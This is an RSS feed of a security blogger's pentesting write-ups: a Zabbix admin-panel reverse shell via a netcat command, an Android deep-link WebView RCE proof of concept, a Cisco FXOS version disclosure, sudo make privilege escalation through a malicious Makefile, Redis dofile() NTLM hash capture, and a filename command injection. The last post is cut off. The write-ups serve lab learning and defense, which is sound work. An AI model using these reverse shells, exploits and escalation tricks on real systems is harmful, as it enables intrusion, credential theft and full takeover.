<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Marinovharisan on Medium]]></title>
        <description><![CDATA[Stories by Marinovharisan on Medium]]></description>
        <link>https://medium.com/@marinovharisan?source=rss-56a4ad48962a------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*iK-8pNolilH1kB1x</url>
            <title>Stories by Marinovharisan on Medium</title>
            <link>https://medium.com/@marinovharisan?source=rss-56a4ad48962a------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 21 Nov 2026 22:32:53 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@marinovharisan/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Getting a Reverse Shell from the Zabbix 7.2.4 Admin Panel]]></title>
            <link>https://medium.com/@marinovharisan/getting-a-reverse-shell-from-the-zabbix-7-2-4-admin-panel-ebb4a3745026?source=rss-56a4ad48962a------2</link>
            <guid isPermaLink="false">https://medium.com/p/ebb4a3745026</guid>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[zabbix]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[Marinovharisan]]></dc:creator>
            <pubDate>Fri, 30 Oct 2026 14:12:22 GMT</pubDate>
            <atom:updated>2026-10-30T14:12:22.386Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/571/1*SOkKLa0KO4SQE8JWvs3UQA.png" /></figure><p>While working on a lab, I spent more time than I’d like to admit figuring out how to get a reverse shell through the Zabbix admin panel.</p><p>Most of the examples I found were either for older versions of Zabbix or used a slightly different interface. So I decided to document what worked for me on <strong>Zabbix 7.2.4</strong>, in case someone else runs into the same problem.</p><p>This assumes you already have administrative access to Zabbix and permission to create and execute scripts.</p><h3>Create a new script</h3><p>First, navigate to <strong>Alerts → Scripts → Create script</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9cnbY1_hcLPZRrJtZMMKew.png" /></figure><p>Configure the script with the following settings:</p><pre>Setting                       Value</pre><pre>Name                          test2</pre><pre>Scope                         Manual host action</pre><pre>Type                          Script</pre><pre>Execute on                    Zabbix proxy or server</pre><pre>Commands                      busybox nc 192.168.45.248 6789 -e /bin/bash</pre><pre>Host group                    All</pre><pre>User group                    All</pre><pre>Required host permissions     Read</pre><p>Replace the IP address and port with your own listener details.</p><p>I’m using BusyBox here because it provides a version of netcat that supports the -e option, allowing us to execute /bin/bash when the connection is established.</p><p>Once everything is configured, save the script.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2p7ZzAYyJ6v28xbrywoHEw.png" /></figure><h3>How to trigger it</h3><p>Now, back in Zabbix:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*93O2vLJY4tUJj2awsbiBow.png" /></figure><ol><li>Navigate to <strong>Monitoring → Hosts</strong>.</li><li>Find a monitored host. In my case, I used the Zabbix server itself.</li><li>Click the host’s name to open its context menu.</li><li>Under <strong>Scripts</strong>, select the script we just created (test2).</li></ol><p>The execution window may appear to hang. This is expected because our command starts an interactive reverse shell instead of returning a normal script result.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zzmLyoKEKDO-4u-Lmcc2Vw.png" /></figure><p>Switch back to your listener.</p><h3>And we have a shell!</h3><p>If everything worked, you should receive a connection.</p><p>And there we go! We have a shell running as the zabbix user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/609/1*LiN5SQ6IFDlglXhtn4aLng.png" /></figure><p>One detail worth mentioning: because we selected <strong>Zabbix proxy or server</strong> as the execution location, the command runs on the Zabbix server or proxy, not necessarily on the monitored host we clicked.</p><p>This is also not an unauthenticated Zabbix exploit or proof of a vulnerability specific to version 7.2.4. We’re using Zabbix’s built-in script execution functionality with an account that has sufficient permissions.</p><p>That’s it. Hopefully this saves someone else a bit of time and frustration. Happy hacking!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ebb4a3745026" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Guess ME | Mobile Hacking Lab walkthrough]]></title>
            <link>https://medium.com/@marinovharisan/guess-me-mobile-hacking-lab-walkthrough-060afcce3260?source=rss-56a4ad48962a------2</link>
            <guid isPermaLink="false">https://medium.com/p/060afcce3260</guid>
            <category><![CDATA[mobilehackinglab]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[androidhacking]]></category>
            <category><![CDATA[android-pentesting]]></category>
            <category><![CDATA[pentesting]]></category>
            <dc:creator><![CDATA[Marinovharisan]]></dc:creator>
            <pubDate>Wed, 28 Oct 2026 17:10:59 GMT</pubDate>
            <atom:updated>2026-10-28T17:17:20.654Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/452/1*xhgEoWoPklqEHlTwuwhRog.png" /></figure><p>Another day, another Android challenge from Mobile Hacking Lab!</p><p>This time, we’re looking at <strong>Guess Me</strong>, a small Android guessing game that seems pretty harmless at first glance. But as we’ve learned from previous labs, even the simplest applications can hide some interesting security vulnerabilities.</p><p>The objective of this challenge is to achieve <strong>Remote Code Execution (RCE)</strong> by exploiting a vulnerability in the application’s deep link handling.</p><p>For this lab, I’m using my <strong>rooted Samsung Galaxy A52</strong>, connected to Kali Linux through ADB. I’ll also demonstrate how to reproduce the exploit using a <strong>remote Android lab device provided by Mobile Hacking Lab</strong>, accessed through their VPN and an already established ADB connection.</p><p>In this walkthrough, I’ll go through how I approached the application, starting with the AndroidManifest.xml, identifying the exposed attack surface, analyzing the relevant code in JADX, and eventually putting together a working proof of concept.</p><h4>Reconnaissance and entry point</h4><p>The manifest identified two exported activities: MainActivity (the normal launcher) and WebviewActivity (a deep-link destination). The latter is the useful attack surface because outside applications can ask Android to open it with a URI.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1003/1*t4YnbZFbWGk4tk2VYnzb8w.png" /></figure><p>The BROWSABLE filter makes matching links eligible to be opened from outside the app. The missing path constraint also means the link handler is reachable under arbitrary paths at that scheme and host. Neither point proves a bug alone; both help identify where untrusted input enters.</p><pre>adb shell am start -W \<br>  -a android.intent.action.VIEW \<br>  -c android.intent.category.BROWSABLE \<br>  -d &quot;mhl://mobilehackinglab/test&quot; \<br>  -p com.mobilehackinglab.guessme</pre><p>The activity started successfully, but I only saw the built-in HTML page. That was an expected fallback, not a failed exploit: this first URI did not include the url query parameter the code later turned out to require.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/415/1*6VBHaEGg5kYUrxYQMGGk2Q.png" /></figure><h3>Tracing the deep link handler</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/591/1*PyCKFRMXnJSN5TUvEUywHg.png" /></figure><p>The code first loads file:///android_asset/index.html. If a URI is present and passes isValidDeepLink(), loadDeepLink() replaces that page with the supplied URL. Otherwise the local asset remains visible. The initial screenshot therefore helped establish that the fallback path worked.</p><pre>// Relevant expression from isValidDeepLink()<br>String queryParameter = uri.getQueryParameter(&quot;url&quot;);<br>return queryParameter != null &amp;&amp;<br>    StringsKt.endsWith$default(<br>        queryParameter, &quot;mobilehackinglab.com&quot;, false, 2, null<br>    );</pre><p>The method also checks that the outer deep link has scheme mhl or https and host mobilehackinglab. Those checks apply to the deep-link URI itself, not to the target inside its url parameter. For the target, the app performs only a case-sensitive string suffix comparison.</p><p><strong>WHAT THE CHECK MISTAKENLY ACCEPTS</strong></p><p><em>Actual destination: </em><a href="https://example.com/#mobilehackinglab.com"><em>https://example.com/#mobilehackinglab.com</em></a><em><br> URL host: example.com<br> URL fragment: mobilehackinglab.com<br> Raw string ends in: mobilehackinglab.com -&gt; passes</em></p><p>A URL fragment is not part of the hostname and is not sent as part of the HTTP request path to the remote server. It is enough here to satisfy the suffix check without changing the page being loaded.</p><h3>Demonstrating the domain bypass</h3><p>I used a random, unrelated domain to prove the issue before attempting any code execution. This isolates the first vulnerability: the app was supposed to permit a specific domain, but it accepted a different origin.</p><p><strong>DEEP LINK USED FOR THE BYPASS</strong></p><pre>adb shell am start -W \<br>  -n com.mobilehackinglab.guessme/.WebviewActivity \<br>  -a android.intent.action.VIEW \<br>  -d &quot;mhl://mobilehackinglab/?url=https%3A%2F%2Fexample.com%2F%23mobilehackinglab.com&quot;</pre><p>Once decoded, the embedded URL is <a href="https://example.com/#mobilehackinglab.com.">https://example.com/#mobilehackinglab.com.</a> The WebView displayed the Example Domain page, confirming that the hostname restriction could be defeated.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/438/1*rtM6qYENL9STnmVH7keJpA.png" /></figure><h4>The JavaScript bridge THAT changes everything</h4><p>An Android JavaScript Bridge is a mechanism that allows JavaScript running inside a WebView to communicate with the native Android application and call Java/Kotlin methods exposed through @JavascriptInterface. This becomes particularly interesting from a security perspective because JavaScript, which normally runs in a restricted web environment, can potentially access native Android functionality through the bridge. In our case, AndroidBridge is the key to achieving RCE, because it exposes a method that executes operating-system commands, meaning that if we can load our own JavaScript into the WebView, we can execute commands with the application&#39;s privileges.</p><p>In onCreate(), the app enables JavaScript and registers a Java object named AndroidBridge. This exposes methods annotated with @JavascriptInterface to the page loaded in the WebView.</p><pre>WebSettings webSettings = webView.getSettings();<br>webSettings.setJavaScriptEnabled(true);<br><br>webView.addJavascriptInterface(<br>    new MyJavaScriptInterface(), &quot;AndroidBridge&quot;<br>);</pre><p><strong>NATIVE METHOD REACHABLE FROM JAVASCRIPT</strong></p><pre>@JavascriptInterface<br>public final String getTime(String Time) {<br>    try {<br>        Process process = Runtime.getRuntime().exec(Time);<br>        InputStream inputStream = process.getInputStream();<br>        BufferedReader reader = new BufferedReader(<br>            new InputStreamReader(inputStream, Charsets.UTF_8)<br>        );<br>        String text = TextStreamsKt.readText(reader);<br>        reader.close();<br>        return text;<br>    } catch (Exception e) {<br>        return &quot;Error getting time&quot;;<br>    }<br>}</pre><p>The method name suggests a harmless clock function, but the input is actually an operating-system command. There is no command allowlist and no reason for untrusted web content to choose what gets passed into Runtime.exec(). Unlike a shell, Runtime.exec(String) does not automatically interpret shell metacharacters; the simple id command needs none of that.</p><p><strong>ADDITIONAL BRIDGE SURFACE</strong></p><pre>@JavascriptInterface<br>public final void loadWebsite(String url) {<br>    webView.loadUrl(url);<br>}</pre><p>The separate loadWebsite() method also accepts a caller-supplied URL without validation. It was not needed for this proof, but it reinforces that the bridge was designed without a reliable trust boundary between a web page and native application capabilities.</p><h4>Proof of concept — exact reproduction</h4><p>Once the validation bypass was confirmed, I served a minimal HTML file that invokes the exposed bridge and displays the returned stdout. The payload uses id, so the demonstration is non-destructive and easy to verify.</p><p>This is the exploit I named it poc.html</p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html&gt;<br>&lt;head&gt;<br>    &lt;title&gt;Guess Me - RCE PoC&lt;/title&gt;<br>&lt;/head&gt;<br>&lt;body&gt;<br>    &lt;h2&gt;Mobile Hacking Lab - RCE PoC&lt;/h2&gt;<br>    &lt;h3&gt;Command: id&lt;/h3&gt;<br>    &lt;pre id=&quot;result&quot;&gt;Executing...&lt;/pre&gt;<br>    &lt;script&gt;<br>        try {<br>            let output = AndroidBridge.getTime(&quot;id&quot;);<br>            document.getElementById(&quot;result&quot;).textContent = output;<br>        } catch (e) {<br>            document.getElementById(&quot;result&quot;).textContent = e.toString();<br>        }<br>    &lt;/script&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;</pre><p><strong>HOST THE PAGE AND EXPOSE IT TO THE DEVICE</strong></p><pre>python3 -m http.server 8000<br># In another terminal:<br>adb reverse tcp:8000 tcp:8000</pre><p>ADB reverse maps the phone’s 127.0.0.1:8000 connection to the Kali HTTP server for convenient lab delivery. It is a testing shortcut, not a requirement for the underlying vulnerability. In a realistic scenario the page could be hosted at an attacker-controlled reachable origin.</p><h3>Executing and verifying the PoC</h3><p>Trigger the exploit</p><pre>adb shell am start -W \<br>  -n com.mobilehackinglab.guessme/.WebviewActivity \<br>  -a android.intent.action.VIEW \<br>  -d &quot;mhl://mobilehackinglab/?url=http%3A%2F%2F127.0.0.1%3A8000%2Fpoc.html%23mobilehackinglab.com&quot;</pre><p>The resulting WebView loaded poc.html and displayed the operating-system identity returned by the bridge. This was the moment the theoretical attack chain became a confirmed command-execution finding.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/983/1*9E9KVTbWUBpG8EqBD0KVqA.png" /><figcaption>ADB started the exported WebviewActivity with the encoded PoC URL.</figcaption></figure><p>And we see our command in our case id executed</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/358/1*5t54b3KDm0DypKXYaPAFLA.png" /><figcaption>WebView output from AndroidBridge.getTime(“id”) on the Samsung test device.</figcaption></figure><p>The output of the command is</p><pre>uid=10314(u0_a314) gid=10314(u0_a314) groups=10314(u0_a314),3003(inet),9997(everybody),20314(u0_a314_cache),50314(all_a314) context=u:r:untrusted_app:s0:c58,c257,c512,c768</pre><h3>Bonus — Reproducing the PoC on the MHL Remote Lab Device</h3><p>As promised in the introduction, I also wanted to demonstrate how to reproduce the same exploit using a remote Android device provided by <strong>Mobile Hacking Lab</strong>, rather than my own rooted Samsung.</p><p>This is particularly useful if you’re preparing for the CAPT exam or simply want to get familiar with working over a VPN connection.</p><p>For this part, I’ve already established the MHL VPN connection and connected to the remote device through ADB.</p><p>First, let’s check our connected devices:</p><pre>adb devices</pre><pre>List of devices attached<br>R5CR814QFYA       device<br>10.200.3.2:6519   device</pre><p>As you can see, I have two devices connected: my physical Samsung and the remote MHL lab device.</p><p>To interact specifically with the MHL device, we can use the -s parameter:</p><pre>adb -s 10.200.3.2:6519 shell</pre><p>Once inside, we can check our current privileges:</p><pre>whoami<br># shell</pre><pre>su<br>whoami<br># root</pre><p>In this case, the lab device allows us to switch to root. However, root access isn’t required to exploit the vulnerability we’re investigating.</p><p>To make things easier and avoid repeatedly typing the device address, I’ll store it in a variable:</p><pre>DEVICE=10.200.3.2:6519</pre><p>Next, let’s confirm that Guess Me is installed:</p><pre>adb -s &quot;$DEVICE&quot; shell pm list packages | grep guessme</pre><pre>package:com.mobilehackinglab.guessme</pre><p>Now we need to make our malicious HTML page accessible to the remote device.</p><p>Just like before, we’ll host poc.html using Python:</p><pre>python3 -m http.server 8000</pre><p>In another terminal, configure ADB reverse port forwarding:</p><pre>adb -s &quot;$DEVICE&quot; reverse tcp:8000 tcp:8000</pre><p>Verify that the forwarding rule was created:</p><pre>adb -s &quot;$DEVICE&quot; reverse --list</pre><pre>host-29 tcp:8000 tcp:8000</pre><p>This allows the remote Android device to access our locally hosted payload through 127.0.0.1:8000, with ADB forwarding the connection back to our Kali machine over the VPN session.</p><p>Finally, let’s trigger the same vulnerable deep link:</p><pre>adb -s &quot;$DEVICE&quot; shell am start -W \<br>  -n com.mobilehackinglab.guessme/.WebviewActivity \<br>  -a android.intent.action.VIEW \<br>  -d &quot;mhl://mobilehackinglab/?url=http%3A%2F%2F127.0.0.1%3A8000%2Fpoc.html%23mobilehackinglab.com&quot;</pre><p>The application launches successfully:</p><pre>Status: ok<br>LaunchState: COLD<br>Activity: com.mobilehackinglab.guessme/.WebviewActivity<br>TotalTime: 931<br>WaitTime: 934<br>Complete</pre><p>And that’s it! We’ve successfully triggered the vulnerable activity on the remote MHL device using the same crafted deep link.</p><p>The successful launch confirms that our deep link was delivered to the application. To verify RCE on this device as well, we need to check the WebView for the output of our id command, just as we did on the physical phone.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yZlJdyoi3CwFd7pBu8JCrg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/774/1*rNyZq7C-d5Gy4tx5WVCKcw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6s5rJH3eYBZl_6KoATRdhw.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=060afcce3260" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Cisco FXOS: Discovering an Unauthenticated Version Disclosure Through JavaScript]]></title>
            <link>https://medium.com/@marinovharisan/cisco-fxos-discovering-an-unauthenticated-version-disclosure-through-javascript-175f32e0d877?source=rss-56a4ad48962a------2</link>
            <guid isPermaLink="false">https://medium.com/p/175f32e0d877</guid>
            <category><![CDATA[version]]></category>
            <category><![CDATA[pentest]]></category>
            <category><![CDATA[cisco]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[cisco-fxos]]></category>
            <dc:creator><![CDATA[Marinovharisan]]></dc:creator>
            <pubDate>Sat, 24 Oct 2026 15:51:22 GMT</pubDate>
            <atom:updated>2026-10-24T15:51:22.186Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/997/1*hMFSHGsCihVnBvXeLX6ngQ.png" /><figcaption>Cisco FXOS login</figcaption></figure><p>During a recent penetration test, I came across something interesting while enumerating a Cisco Firepower Chassis Manager (FCM) interface.</p><p>I decided to write this short article because I couldn’t find much information about it online. As with most of my previous posts, I’m sharing it simply because it might help someone who finds themselves in a similar situation.</p><p>If you’re trying to identify the Cisco FXOS Management Extension version without credentials, you can check the following endpoint:</p><p>https://&lt;TARGET&gt;/sspmgmt/onbox-version.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/764/1*4Gf31vK0wVHioV-PeF_pqg.png" /><figcaption>Its a mock</figcaption></figure><h3>How I Found It — Following the JavaScript</h3><p>While examining /sspmgmt.html, I noticed a JavaScript function called openAbout().</p><p>The function opened another page:</p><p>/about/en/about.html</p><p>I downloaded this page and started looking through its JavaScript. Interestingly, I came across another function called readBuildFile().</p><p>Inside that function, I found the following request:</p><p>xmlhttp.open(&quot;GET&quot;, &quot;/sspmgmt/onbox-version.txt&quot;, true);</p><p>That immediately caught my attention. The application’s own frontend was pointing to a text file containing build information.</p><h3>Testing the Endpoint</h3><p>I tried requesting the file directly, without authentication:</p><p>curl -k -i https://&lt;TARGET&gt;/sspmgmt/onbox-version.txt</p><p>And it worked!</p><p>The server responded with HTTP/1.1 200 OK and returned the version and build information shown in the screenshot above.</p><p>Of course, this is an informational finding rather than a directly exploitable vulnerability. However, unauthenticated version disclosure can help an attacker fingerprint a system and research version-specific vulnerabilities.</p><p>The key takeaway? <strong>Sometimes the application tells you exactly where to look.</strong></p><p>A few minutes of reading JavaScript (I know, it’s boring!) can reveal information that automated vulnerability scanners or fuzzing with the usual wordlists might miss.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/566/1*haWPYwesfILsbFWAcCNOmA.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=175f32e0d877" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[sudo usr/bin/make install | Linux Privilege Escalation Through a Writable Makefile]]></title>
            <link>https://medium.com/@marinovharisan/sudo-usr-bin-make-install-linux-privilege-escalation-through-a-writable-makefile-3e071536f020?source=rss-56a4ad48962a------2</link>
            <guid isPermaLink="false">https://medium.com/p/3e071536f020</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[oscp]]></category>
            <dc:creator><![CDATA[Marinovharisan]]></dc:creator>
            <pubDate>Mon, 19 Oct 2026 14:26:44 GMT</pubDate>
            <atom:updated>2026-10-19T14:26:44.366Z</atom:updated>
            <content:encoded><![CDATA[<p>There is an interesting way to escalate privileges if we have sudo permissions to execute /usr/bin/make install -C on a directory where we can modify the Makefile.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/568/1*0UZB0aAiCU-deemWN8VEqw.png" /></figure><p>For this small PoC, I’m using the <strong>SPX lab from Proving Grounds Play</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/893/1*6mJow-bSd6k2GPDQhwc0Ww.png" /></figure><p>Let’s break down the command:</p><pre>/usr/bin/make install -C /home/profiler/php-spx</pre><ul><li><strong>/usr/bin/make</strong> — GNU Make is a build automation tool that reads instructions from a Makefile to execute tasks such as compilation and installation.</li><li><strong>install</strong> — The target that Make will execute.</li><li><strong>-C</strong> — Changes to the specified directory before reading and executing the Makefile.</li></ul><h3>What is a Makefile?</h3><p>A Makefile is a configuration file containing instructions for GNU Make.</p><p>Developers use Makefiles to automate compiling programs, running tests, installing software, and cleaning build files.</p><p>Imagine this Makefile:</p><pre>build:<br>	gcc program.c -o program<br>install:<br>        cp program /usr/local/bin/<br>clean:<br>        rm -f program</pre><p>Depending on the target we specify, Make will execute the corresponding commands.</p><p>For example, make build compiles the program, while make clean removes the compiled file.</p><h3>Exploiting the Sudo Permission</h3><p>In our case, the sudo permission allows us to execute the <strong>install</strong> target as root.</p><p>Since we can modify the Makefile in the specified directory, we can add our own target and make install depend on it.</p><p>Our malicious Makefile addition looks like this:</p><pre>.PHONY: oscp-proof<br>install: oscp-proof<br>oscp-proof:<br>  chmod +s /bin/bash<br>EOF</pre><p><strong>The tab before </strong><strong>chmod is important!</strong> Make requires recipe commands to start with a tab, otherwise we might get the missing separator error.</p><p>The Makefile defines a custom oscp-proof target that executes chmod +s /bin/bash and adds it as a prerequisite of install. When the sudo-allowed make install command runs, our target is executed with root privileges.</p><p>The chmod +s /bin/bash command sets the SUID bit on Bash, allowing us to launch it while preserving root&#39;s effective privileges.</p><p>We can then execute:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/771/1*wGC8aiSIrDr61VdkneWoCg.png" /></figure><p>And that’s it — root access!</p><h3>What About Other Makefile Targets?</h3><p>The same logic can apply to other Makefile targets, depending on the sudo permissions.</p><p>For example, if we’re allowed to execute make clean as root, we can modify the clean target:</p><pre>.PHONY: oscp-proof<br><br>clean: oscp-proof<br><br>oscp-proof:<br> chmod +s /bin/bash</pre><p>The vulnerability isn’t in GNU Make itself. The problem is allowing a low-privileged user to modify build instructions that are later executed as root.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3e071536f020" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Redis dofile(): From Blocked OS Execution to NTLM Hash Capture]]></title>
            <link>https://medium.com/@marinovharisan/redis-dofile-from-blocked-os-execution-to-ntlm-hash-capture-b61f1c5858f7?source=rss-56a4ad48962a------2</link>
            <guid isPermaLink="false">https://medium.com/p/b61f1c5858f7</guid>
            <category><![CDATA[windows]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[redis]]></category>
            <dc:creator><![CDATA[Marinovharisan]]></dc:creator>
            <pubDate>Thu, 15 Oct 2026 14:39:24 GMT</pubDate>
            <atom:updated>2026-10-16T07:54:30.541Z</atom:updated>
            <content:encoded><![CDATA[<p>During a lab, I came across an interesting Redis behavior. Even though Lua’s os.execute() was blocked, I discovered that the dofile() function could still trigger an outbound SMB authentication attempt, allowing me to capture a NetNTLMv2 challenge-response using Responder.</p><p>Here’s a quick breakdown of how it works and why it happens.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/572/1*LeIgk2atq0QFs_xmQg4c8g.png" /></figure><h3>Redis Enumeration</h3><p>The target was running Redis on Windows, listening on TCP port 6379.</p><pre>redis-cli -h 10.114.185.45 -p 6379</pre><p>Using INFO server, I identified:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/432/1*kzV-2LgJLWK9aDH2EPP99w.png" /></figure><pre>redis_version:2.8.2402<br>os:Windows<br>arch_bits:64<br>tcp_port:6379</pre><p>The instance allowed Lua scripting through the EVAL command.</p><h3>Testing Lua Execution</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Jnv9Kn12XIN46nfe2vxggA.png" /></figure><p>I first attempted to execute an operating system command:</p><pre>EVAL &quot;return os.execute(&#39;whoami&#39;)&quot; 0</pre><p>Redis returned:</p><pre>Script attempted to access unexisting global variable &#39;os&#39;</pre><p>The os library was unavailable inside Redis&#39;s restricted Lua environment.</p><p>However, basic Lua execution worked:</p><pre>EVAL &quot;return 1+1&quot; 0</pre><p>Result:</p><pre>(integer) 2</pre><p>I also verified access to Redis commands:</p><pre>EVAL &quot;return redis.call(&#39;PING&#39;)&quot; 0</pre><p>Result:</p><pre>PONG</pre><p><strong>Conclusion:</strong> Lua scripting was enabled, but direct OS command execution was restricted.</p><h3>The Interesting Part: Lua dofile()</h3><p>Next, I tested whether Lua could attempt to access a file through a Windows UNC network path (I first started a responder that listne for the call):</p><pre>sudo responder -I tun0 -v</pre><p>Then tried to access a file that didnt exist on my locla machine:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1P8PYNEoMIZDPERvBenxfQ.png" /></figure><pre>EVAL &quot;dofile(&#39;//192.168.169.43/test&#39;)&quot; 0</pre><p>The response was:</p><pre>cannot open //192.168.169.43/test: Permission denied</pre><p>At first glance, this looks like a failed file-access attempt.</p><p>However, my Responder listener captured an SMB authentication exchange from the Windows system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Sh5-AsEejxpuMui0atOb9g.png" /></figure><pre>[SMB] NTLMv2-SSP Client   : 10.114.185.45<br>[SMB] NTLMv2-SSP Username : VULNNET\enterprise-security<br>[SMB] NTLMv2-SSP Hash     : enterprise-security::VULNNET:...</pre><h3>Why Did This Happen?</h3><p>The behavior comes from the interaction between Lua file access and Windows network authentication.</p><p>When dofile() received a UNC path, the Windows host attempted to access a remote SMB resource.</p><p>The sequence was:</p><ol><li>Redis executed the Lua dofile() function.</li><li>The function attempted to open a UNC network path.</li><li>Windows initiated an SMB connection to the specified server.</li><li>Windows attempted NTLM authentication using the Redis process’s security context.</li><li>Responder captured the resulting NetNTLMv2 challenge-response.</li></ol><p>The file-access operation ultimately failed, but the authentication exchange had already occurred.</p><p><strong>The key finding:</strong> Blocking os.execute() did not prevent this Redis environment from initiating a network file-access operation.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b61f1c5858f7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CYCLIC SCANNER Mobile Hacking Lab walkthrough]]></title>
            <link>https://medium.com/@marinovharisan/cyclic-scanner-mobile-hacking-lab-walkthrough-6781e569fe8e?source=rss-56a4ad48962a------2</link>
            <guid isPermaLink="false">https://medium.com/p/6781e569fe8e</guid>
            <category><![CDATA[android-pentesting]]></category>
            <category><![CDATA[mobilehackinglab]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[ctf-walkthrough]]></category>
            <dc:creator><![CDATA[Marinovharisan]]></dc:creator>
            <pubDate>Fri, 09 Oct 2026 10:37:08 GMT</pubDate>
            <atom:updated>2026-10-09T10:37:08.805Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/570/1*6sop0qRZe3ZY5ndy3gzGBg.png" /></figure><h3>Summary</h3><p>I approached the lab by starting with the AndroidManifest.xml and then following the execution path into the scanner service. That turned out to be useful because the vulnerability is not exposed through a normal exported IPC entry point. Instead, the service automatically walks shared storage and processes filenames that can be influenced from outside the application.</p><p>The vulnerable code builds a SHA-1 command by concatenating a file path into a string, then executes that string through sh -c. Because the pathname is not quoted or escaped, shell metacharacters inside a filename are interpreted as syntax. A crafted filename such as x;touch cyclic_poc therefore becomes a second shell command when the scanner reaches it.</p><p><strong>Result: </strong>The lab vulnerability was successfully proven by creating a specially named file in shared storage, starting the scanner, and observing that /sdcard/cyclic_poc was created by the vulnerable application.</p><h3>Starting Point: AndroidManifest.xml</h3><p>The manifest immediately gave a useful map of the application. The entries that mattered most were the all-files permission, the exported MainActivity, the non-exported ScanService, and the debuggable application flag.</p><pre>&lt;uses-permission android:name=&quot;android.permission.MANAGE_EXTERNAL_STORAGE&quot;/&gt;<br>&lt;uses-permission android:name=&quot;android.permission.FOREGROUND_SERVICE&quot;/&gt;<br>&lt;uses-permission android:name=&quot;android.permission.INTERNET&quot;/&gt;<br><br>&lt;activity<br>    android:name=&quot;com.mobilehackinglab.cyclicscanner.MainActivity&quot;<br>    android:exported=&quot;true&quot; /&gt;<br><br>&lt;service<br>    android:name=&quot;com.mobilehackinglab.cyclicscanner.scanner.ScanService&quot;<br>    android:exported=&quot;false&quot; /&gt;<br><br>&lt;application<br>    android:debuggable=&quot;true&quot;<br>    android:allowBackup=&quot;true&quot; ... /&gt;</pre><p>MANAGE_EXTERNAL_STORAGE stood out because this is a file scanner. Before looking at any code, that suggested the service might walk user-accessible shared storage. The service being non-exported looked reassuring at first, but it only prevents direct component invocation. It does not protect the service if it later consumes attacker-controlled data from somewhere else.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/669/1*_ZjO8_4BCZh8fTWzPYcqjA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/383/1*97b73f8mbhFbGNy7dcjA1g.png" /></figure><h3>MainActivity — Permission and Service Startup</h3><p>MainActivity is mostly setup code. The important part is the control flow around the special storage permission and the switch that starts 